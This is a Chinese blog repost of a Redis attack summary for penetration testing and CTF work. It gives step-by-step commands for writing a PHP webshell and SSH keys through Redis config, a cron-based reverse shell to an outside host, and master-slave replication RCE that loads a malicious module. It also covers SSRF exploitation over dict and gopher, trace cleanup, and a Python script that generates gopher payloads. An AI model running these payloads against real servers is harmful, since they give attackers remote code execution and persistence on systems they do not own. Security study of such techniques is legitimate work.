redis攻击总结


redis攻击总结

redis的那几种攻击方式在这几年的赛题还是实战中几乎已经被玩烂了,原理也就那些东西,主要就是通信的RESP协议,所以再总结感觉也可能也学不到太多东西,所以就直接看了xq17师傅的文章感觉写的很好就直接转载了xq17师傅的文章,但是师傅这里写错了一个问题,就是redis在高版本中module load出错的原因不是exp的不规范,而是在高版本中增加了相关的权限验证,详情在https://github.com/redis/redis/pull/6257 这个commit里面

注:以下内容原创来自于xq17师傅,侵权可删
链接:https://xz.aliyun.com/t/7974#toc-10

0x0 前言

Redis在内网渗透中常常扮演着重要的角色,其攻击方式非常多样化,在内网复杂的环境架构中容易出现各种问题,那么如何有效利用Redis的缺陷来达到我们的目的呢,这里笔者结合一些实操场景和大师傅们的文章做了一些分析和总结。

0x1 Redis的简介

Redis是C语言开发一个开源(遵循BSD)协议高性能的(key-value)键值对的内存NoSQL数据库,可以用作数据库、缓存、信息中间件(性能非常优秀,支持持久化到硬盘且高可用),由于其自身特点,可以广泛应用在数据集群,分布式队列,信息中间件等网络架构中,在内网渗透的突破中,常常扮演getshell的角色,

0x2 常见的利用方式

这里我简单说一下Redis容易遭受的攻击点,而这些点本身就是软件设计便捷理念。

redis为了系统的移植方便,多集群的快速部署,在3.2.0之前默认都是无密码,对外暴露6379的

1.docker run --name redis -p6379:6379 -d redis:3.0 
2.redis-cli x.x.x.123 
3.config get requirepass
# docker部署默认都是以redis权限执行的。

可以看到默认对外开放且无密码的。

但是在3.2.0之后增加了一个保护模式,默认还是无密码,但是限制了只有本地(回环接口)才能访问。

总的来说,问题还是出在了无密码校验经常被钻空子,比如ssrf,用来权限提升等等,下面会说到。

然后Redis自身提供了一个config的命令,用来实现备份功能,然后备份的文件名和备份的路径都可以通过

config set dbfilename
config set dir

来控制,从而可以实现任意文件写功能。

0x2.1 信息泄露

这个比较鸡肋,简单提提

redis 有个info的命令,返回关于 Redis 服务器的各种信息和统计数值。

config get *也会泄露一些信息

0x2.2 写webshell

这种情况一般大都是出在了root权限执行的redis中,或者是以某个web服务来启动的redis,从而对web目录具有了可写的权限。

这个操作网上的payload其实很多都有风险性,一些不懂redis的小白就很容易误操作。

flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

最终生成一个redis数据库快照,里面包含了数据内容写到dbfilename设置的路径中。

里面有个flushall命令会清空所有缓存数据,这个在一定程度不会造成巨大的损失,但是会给业务体验带来影响。

redis 默认数据库有16个:

config get databases


默认保存的是当前数据库下内容,所以我们完全不用flushall来清空默认0号的数据库内容

我们只需这样子select 去切换其他的空数据库,然后就可以了。

select 5
set 1 '<?php eval($_POST["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

比如:

keys *(这个最好别用,输出量很容易把环境崩掉)

可以考虑用dbsize


我们就可以选择第5号数据库来执行操作,根本不需要进行fluashall的高危操作。

这里可以看到save命令保存下来的文件,其实因为是数据库备份为快照文件所以存在一定格式(脏数据),但是由于PHP解析的松散性,这些都不影响php的执行。‘

0x2.3 写入SSH 免密登录

这个场景主要应用在没有web应用的服务器,redis一般都是与web分离的,故这种方式我个人觉得还是很棒的,在linux系统都存在/root目录也不会被改动,笔者觉得这种方式还是可以接受的。

如centos:(这个没有登录过root,没有没有.ssh文件夹,问题不大)

如ubuntu:

可以看到可行性还是可圈可点的。

写入过程:

ssh-keygen -t rsa
# 然后指定目录生成2个文件 私钥:id_rsa 公钥:id_rsa.pub

这里要注意下数据库内容的决定是否要使用flushall

这里为了保证写入的authorized_key能被解析,必须引入换行符(ubuntu亲测,要不然是不会成功)

1.(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt
2.cat temp.txt | redis-cli -p 6380  -x set 1

然后按正常操作即可

1. config set dir /root/.ssh/
2. config set dbfilename authorized_keys
3.save

尝试连接下:

ssh root@139.X.X.X -i id_rsa


PS (一些疑惑):

网上搜了一些文章说,因为默认的话是不允许开启通过开启密钥来登录。

默认在/etc/ssh/sshd_config中不开启

`#PubkeyAuthentication yes

所以会导致没办法登录,但是我在测试的过程中发现,默认直接写入也可以直接登录。

测试过几台机器都是生产环境上的云机器,都是这样直接写入就可以登录。

0x2.4 写入计划任务反弹shell

这个点其实蛮鸡肋,因为在debian、ubuntu等环境中由于这些环境对计划任务的格式解析非常严格是没办法执行成功,但是这个比前面那个比较好,主要是在centos环境的环境下默认root是可以通过这个方法拿到反弹shell的,所以还是指的说说的。

1.ubuntu无法利用的原因

/etc/crontab,脏数据解析失败
/var/spool/cron/crontabs/root,redis默认写入644600,提示失败

Centos下的利用
实现命令:

set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/X.X.X.X/7789 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

查看定时任务执行状态:

tail -f vim /var/log/cron

这个我建议在尝试尝试完ssh之后,如果失败了,再结合判断是不是centos机器(实际概率比较大)

再尝试这个。

0x2.5 写入高冗余数据

当我们写入的内容是属于高冗余的数据时,redis默认会采用LZF压缩的方式来写入数据。

压缩:Redis默认采用LZF算法对生成的RDB文件做压缩处理,压缩后的文件远远小于内存大小,默认开启,可以通过参数config setrdbcompression&#123;yes|no&#125;动态修改。


这个时候我们就会出现一些奇怪的错误,

debug起来相当麻烦

解决思路:关闭压缩功能。

config set rdbcompression no

然后再保存即可。

0x2.6 低版本redis 无损写文件

RedisWriteFile

这个能实现无损写文件,如果权限够高,也可以尝试下,因为无损写文件原理主从同步,从redis2.8开始,module模块加载是从redis4.0开始的,所以在低版本的redis,或许会有一些作用,但是我遇到的环境比较少,感觉linux下作用真的不大,简单提提。

0x3 主从复制RCE

0x3.1 主从复制的介绍

(1)简单说明

这个攻击方式是LC/BC的成员Pavel Toporkov在2019年7月7日结束的WCTF2019 Final分享出来的,可以说这个技术,为redis的攻击撕开了一个全新的口子,打就是rce获取的就是redis运行的权限,比之前那些需要高权限的方法来的更加普遍和使用。

(2)通俗原理

两个点:

(1) 支持传输备份文件

(2)支持加载so链接库,拓展命令

第一步,我们伪装成redis数据库,然后受害者将我们的数据库设置为主节点。
第二步,我们设置备份文件名为so文件
第三步,设置传输方式为全量传输
第四步加载恶意so文件,实现任意命令执行

这里重点是实现全量传输:

全量传输是将数据库备份文件整个传输过去,然后从节点清空内存数据库,将备份文件加载到数据库中。

具体的实现步骤:

那么怎么控制实现这些操作呢,其实很简单,我们可以监控一下正常流程,截取出相应的命令再进行构造好了,这些操作其实还是蛮复杂的,要不然也不要等Pavel Toporkov来公布了吧。

不过这个调试协议虽然繁琐但是还是可以做出来的。
跟一下wireshark走一遍流程就好了,站在巨人的肩膀也行。

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

0x3.2 利用流程

这里我比较推荐个比较好用的工具:

Dliv3师傅的比较适合实战:https://github.com/Dliv3/redis-rogue-server

python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6380 --lhost docker.for.mac.host.internal --lport 8088


可以看到效果还是有的。

这个工具还有个用法是,是服务器模式,接收目标redis的链接。

(这种场景可以使用在,服务器通外网,但是外网不能访问服务器时候,但是我们可以通过ssrf或者vpn之后链接redis来执行命令)

服务器端执行:

python3 redis-rogue-server.py --server-only


本地手工执行命令设置备份:

1.config set dir ./
2.config set dbfilename exp.so
3.slaveof X.X.X.195
4.slaveof X.X.X.195 21000  #上面看绑定的服务段端口是21000
5. module load ./exp.so
6.slaveof no one
7.system.exec 'whoami'

清理痕迹
8.config set dbfilename dump.rdb
9.system.exec 'rm ./exp.so'
10.module unload system


PS:(一些渗透需要注意的点)

经过测试,这个payload打的时候会重置所有数据库内容,所以慎用,在测试过程中,倒是没有遇到redis会崩溃的问题,可能是数据量比较少?

0x3.3 可利用的版本

经过测试主从复制的可利用版本是4.x-5.x,但是从6.0开始,就开始利用失败了。但是还是可以通过config命令来进行写文件的,也能通过主从复制来无损加载文件,但是在module的时候加载却失败了.

0x3.4 禁用config命令绕过

如果在redis.conf 配置了禁用config命令的时候。

rename-command CONFIG ""

比如这个config命令就不可用了,可以采取这种方式绕过。

这个时候我们就没办法自定义文件后缀了,但是我们还是可以利用主从复制的


可以看到同步之后exp.so的内容被保存为了dump.rdb


后面把dump.rdb当做exp.so去正常加载即可。

0x4 SSRF对redis的利用

SSRF为Redis的供给面打开了一个口子,但是由于dict和gopher协议的有一些坑点,有时候利用起来会出现一些下面的问题。

简单探测redis服务:

1.curl "dict://127.0.0.1:6381"
2.回显
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK

0x4.1 dict与gopher协议的区别

(1)dict协议

dict协议,字典服务器协议, A Dictionary Server Protocol 。

dict是基于查询响应的TCP协议。

使用格式:

dict://serverip:port/命令:参数

这里dict有个比较好的特点就是会再末尾补上\r\n

不好的是,命令多条的话,需要一条条地去执行,因为不支持传入换行,也不会对%0d%0解码


(2)gopher协议

互联网上使用的分布型的文件搜集获取网络协议。

支持多行输入。

使用格式:

gopher://serverip:port/_data

特点:

可以看到gopher的第一个字符被吞掉了,还有没有发送quit

所以我们需要手动加一个字符如_

影响范围:

0x4.2 无认证SSRF攻击

dict协议的攻击:

1.连接远程主服务器
curl dict://127.0.0.1:6381/slaveof:101.200.157.195:21000
2.设置保存文件名
curl dict://127.0.0.1:6381/config:set:dbfilename:exp.so
3.载入 exp.so
curl dict://127.0.0.1:6381/module:load:./exp.so
4.断开主从
curl dict://127.0.0.1:6381/slaveof:no:one
5.恢复原始文件名
curl dict://127.0.0.1:6381/config:set:dbfilename:dump.rdb
6.执行命令
curl dict://127.0.0.1:6381/system.exec:'whomai'
7.删除痕迹
curl dict://127.0.0.1:6381/system.exec:rm './exp.so'


成功执行命令。

要是写shell的话参照上面那样做即可。

gopher协议的攻击:

这里采取goherus.py,来实现快速利用吧。

1.git clone https://github.com/tarunkant/Gopherus.git
2.gopherus --exploit redis


Gopherus没有集成怎么主从复制的利用。简单分析下他的原理


可以看到这个伪造的是resp协议来交互(这个不打算展开,后面源码分析利用的时候会说明的)

其实这里我们也可以将gopher伪造成dict的协议(直接采用简单协议格式)来一段一段地请求。

gopher://127.0.0.1:6379/_auth%20123123%0d%0aconfig%20set%20dir%20/tmp/%0d%0aquit

只要在最后加上个quit即可,这样子的好处是,有缓冲时间,一段段发送可以让备份文件完整传输到从机上的时间。

0x4.3 带认证的SSRF攻击

有认证的话,其实问题也不大。

auth 123123

docker里面用tcpdump监听协议包

tcpdump -i eth0 port 6379 -w redisPort.pcap

然后导出到本机用wireshark分析

docker cp cbdaed8:/redisPort.pcap ./redisPort.pcap

直接follow tcp stream


可以看到这个验证过程其实也是可以伪造的。


提取这段出来然后url编码就行了

import urllib.parse
str_ = "2a 32 0d 0a 24 34 0d 0a 61 75 74 68 0d 0a 24 36 0d 0a 31 32 33 31 32 33  0d 0a"
str__ = str_.split(' ')
okStr = ""
for i in str__:
    okStr += "%" +i
print(okStr)

然后测试下:

curl "gopher://127.0.0.1:6383/_%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24%36%0d%0a%31%32%33%31%32%33%%0d%0a"
+OK


Redis支持管道流水线,所以可以一次性拼接命令发送,不需要回复请求。

所以我们只需要在开头拼接下这段验证就行了。

0x4.4 通用利用脚本

这里我自己改了个比较简单的python3的payload生成脚本。

#!/usr/bin/python3
# -*-coding:utf-8-*-
# author:xq17

import urllib.parse

def tranToResp(x):
        xSplit = x.split(" ")
        cmd=""
        cmd+="*"+str(len(xSplit))
        for i in xSplit:
            i = i.replace("$&#123;IFS&#125;"," ")
            cmd+="\r\n"+"$"+str(len(i))+"\r\n"+ i
        cmd+="\r\n"
        return cmd

def GeneratePayload(ip, port):
    cmd=[
     "config set dir ./",
     "config set dbfilename exp.so",
     "slaveof &#123;i&#125; &#123;p&#125;".format(i=ip, p=port),
     "module load exp.so",
     "system.exec ls",
     "system.exec rm$&#123;IFS&#125;exp.so",
     "quit",
     ]
     # "system.exec bash$&#123;IFS&#125;-i$&#123;IFS&#125;>&$&#123;IFS&#125;/dev/tcp/192.168.8.103/4607$&#123;IFS&#125;0>&1",
    payload = ""
    for p in cmd:
        payload += urllib.parse.quote(tranToResp(p))
    return payload


def main():
    # target
    ip = "127.0.0.1"
    port = "6383"
    # server load exp.so
    serverIp = "101.x.x.x"
    serverPort = "21000"
    authPass = "123123"
    payload = GeneratePayload(serverIp, serverPort)
    exitPayload = (urllib.parse.quote(tranToResp("slaveof no one") + tranToResp("quit") ))
    if authPass:
        print("author attack:")
        pd = "gopher://&#123;host&#125;:&#123;port&#125;/_%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24&#123;l&#125;%0d%0a&#123;p&#125;%0d%0a"
        pd = pd.format(host=ip, port=port, l=str(len(authPass)), p=authPass)
        print(pd + payload)
        print("clean footprint:")
        print(pd + exitPayload)
    else:
        print("no author attack:")
        pd = "gopher://&#123;host&#125;:&#123;port&#125;/_"
        print(pd.format(host=ip, port=port)+payload)
        print("clean footprint:")
        print(pd.format(host=ip, port=port) + exitPayload)

if __name__ == '__main__':
    main()


如果有认证的话,添加到authPass变量即可。

0x4.5 redis触发反序列化

这种场景主要是redis里面存储的内容,最终会被程序反序列化,从而导致触发处反序列化漏洞。

我们平时做题目的时候一般序列化内容都被base64了,所以没遇到什么坑。但是如果是原生的序列化数据就会有协议无法传输特殊字符的坑。

不过gopher是无敌的,双重编码就行了。

案例来源: https://mp.weixin.qq.com/s/kfYF157ux_VAOymU5l5RFA

以后如果遇到有意思的题目,单独列出来这个方面研究吧,gopher协议足够秒杀了。

0x5 总结

  本文主要是归纳了一些tips偏应用方面,前前后后折腾了挺久的,感觉网上的知识点都比较零散,现在很多人都止步了对redis的漏洞挖掘,除非新爆出一些什么洞,否则,目前的文章体系还是能系统涵盖已知的主要攻击面。也欢迎各位师傅提出一些新的点,让我加强学习。后面将从redis的源码来分析一些现象的原因。


文章作者: wa1ki0g
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wa1ki0g !
  目录